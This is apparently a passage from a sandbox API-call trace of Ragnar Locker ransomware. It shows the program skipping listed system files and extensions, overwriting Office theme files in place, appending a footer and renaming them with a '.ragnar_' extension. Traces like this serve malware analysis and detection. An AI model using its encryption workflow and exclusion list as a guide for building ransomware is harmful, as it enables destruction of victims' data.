[0073.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.637] lstrcpyW (in: lpString1=0x1eab68, lpString2="ICE.INF" | out: lpString1="ICE.INF") returned="ICE.INF" [0073.637] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned=".INF" [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="autorun.inf") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="boot.ini") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="bootfont.bin") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="bootsect.bak") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="bootmgr") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="bootmgr.efi") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="bootmgfw.efi") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="desktop.ini") returned 1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="iconcache.db") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="ntldr") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="ntuser.dat") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="ntuser.dat.log") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="ntuser.ini") returned -1 [0073.637] lstrcmpiW (lpString1="ICE.INF", lpString2="thumbs.db") returned -1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.637] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0073.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.638] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=429) returned 1 [0073.638] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.638] GetProcessHeap () returned 0x580000 [0073.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.638] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.639] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.639] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.639] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.639] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1ad, lpOverlapped=0x0) returned 1 [0073.639] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.639] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.639] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1ad, lpOverlapped=0x0) returned 1 [0073.639] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.640] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.640] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.640] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.640] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.640] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.640] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.640] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.640] GetProcessHeap () returned 0x580000 [0073.640] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.640] CloseHandle (hObject=0x10c) returned 1 [0073.641] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" [0073.641] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.ragnar_FD7BD9FC" [0073.641] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.642] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.642] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.642] lstrcpyW (in: lpString1=0x1eab68, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.642] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned=".GIF" [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.642] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.642] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0073.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.643] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2552) returned 1 [0073.643] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.643] GetProcessHeap () returned 0x580000 [0073.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.643] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.646] VirtualAlloc (lpAddress=0x0, dwSize=0x9f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.646] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.647] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x9f8, lpOverlapped=0x0) returned 1 [0073.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.647] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.647] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9f8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x9f8, lpOverlapped=0x0) returned 1 [0073.647] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.647] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.647] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.647] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.647] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.647] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.648] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.648] GetProcessHeap () returned 0x580000 [0073.648] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.648] CloseHandle (hObject=0x10c) returned 1 [0073.649] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" [0073.649] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.649] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e1cb580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.649] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.649] lstrcpyW (in: lpString1=0x1eab68, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.649] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.649] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.649] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.649] lstrcpyW (in: lpString1=0x1eab68, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.649] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned=".PNG" [0073.649] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.649] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.649] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.649] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.649] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.650] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0073.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.650] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=18817) returned 1 [0073.650] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4978, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.650] GetProcessHeap () returned 0x580000 [0073.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.651] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.654] VirtualAlloc (lpAddress=0x0, dwSize=0x4981, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.654] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.655] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.655] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4981, lpOverlapped=0x0) returned 1 [0073.656] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.656] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4981, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.656] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4981, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4981, lpOverlapped=0x0) returned 1 [0073.656] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4981, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.656] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.656] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4981, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.657] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.657] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.657] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.657] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.657] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.657] GetProcessHeap () returned 0x580000 [0073.657] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.657] CloseHandle (hObject=0x10c) returned 1 [0073.658] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" [0073.658] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.658] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 